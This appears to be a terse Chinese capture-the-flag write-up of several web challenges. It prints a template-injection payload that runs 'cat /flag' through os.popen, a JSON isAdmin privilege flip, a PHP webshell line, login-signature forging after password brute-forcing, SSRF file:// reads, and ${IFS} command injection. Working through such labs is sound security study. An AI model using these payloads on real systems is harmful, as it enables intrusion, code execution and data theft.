星愿信箱
lipsum.__globals__ # 获取lipsum函数的全局变量
__builtins__ # 访问内建命名空间
__import__('os') # 动态导入os模块
(lipsum.__globals__.__builtins__.__import__('os'))
等价于os
模块
使用os.popen()
执行命令并读取输出
os.popen('cat /flag').read() # 读取flag文件内容
payload
{%print ((lipsum.__globals__.__builtins__.__import__('os')).popen('c''at /flag')).read()%}
nest_js
密码爆破
多重宇宙日记
JSON注入提权
{
"settings": {
"theme": "dark",
"isAdmin": true
}
}
easy_file
用户名:admin
密码:password
可以写入文件
传入上去之后,尝试之后把/去掉
发现有回显
<?=`cat flllag.php`?>
*easy_signin
一开始页面一直显示404,扫了一下出现两个路径
访问login.php如图,目前没看出有什么用处
接着访问login.html,发现用户名修改不了,尝试密码爆破无用,但是如果手动输入的话会发现无论密码是什么,都只会显示“账号错误”,查看源码
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}
const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString(); //五分钟
const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try { const response = await fetch('login.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Sign': sign }, body: new URLSearchParams({ username: md5Username, password: md5Password, timestamp: timestamp }) });
const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});
passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
登录逻辑如上
- 获取DOM元素 :通过
document.getElementById
获取登录按钮(loginBtn
)、密码输入框(passwordInput
)、错误提示框(errorTip
)和用户名输入框的值(rawUsername
) - 对用户名和密码进行 MD5加密 ,取前6位作为简化标识(
shortMd5User
和shortMd5Pass
)。 - 生成当前时间戳(用于防重放攻击)和签名(
sign
),签名通过拼接shortMd5User + shortMd5Pass + timestamp + secretKey
并再次MD5加密生成。 - 发送请求 :通过
fetch
发送 POST 请求至login.php
,携带加密后的用户名、密码、时间戳和签名(X-Sign
请求头)。
进行密码爆破,这里的账号密码同样也要转换成md5值,时间戳随意
正确的账号密码会响应403
账号密码如下
账号:admin
密码:admin123
根据登录逻辑,写一个脚本用于模拟前端登录请求的加密与签名(进行哈希截断、时间戳绕过等)
把刚刚得到的密码输入,得到伪造的请求头和post传参内容
完整请求数据:
POST数据: username=21232f297a57a5a743894a0e4a801fc3&password=0192023a7bbd73250516f069df18b500×tamp=1748957028118
请求头:
X-Sign: 4d6241182494c61d6e677fb44d3f88c8
放包就直接登录进来了
不可以直接访问
进入到源码会发现是ssrf,直接进行file协议读取任意文件
http://node6.anna.nssctf.cn:25696/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
什么都没有,发现全部藏在源码里面了
直接访问这个文件
另解
http://node6.anna.nssctf.cn:25696/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../ #空格被过滤了,用${IFS},%2520也行,就是空格编码2次,因为SSRF了一次
直接访问/327a6c4304ad5938eaf0efb6cc3e53dc.php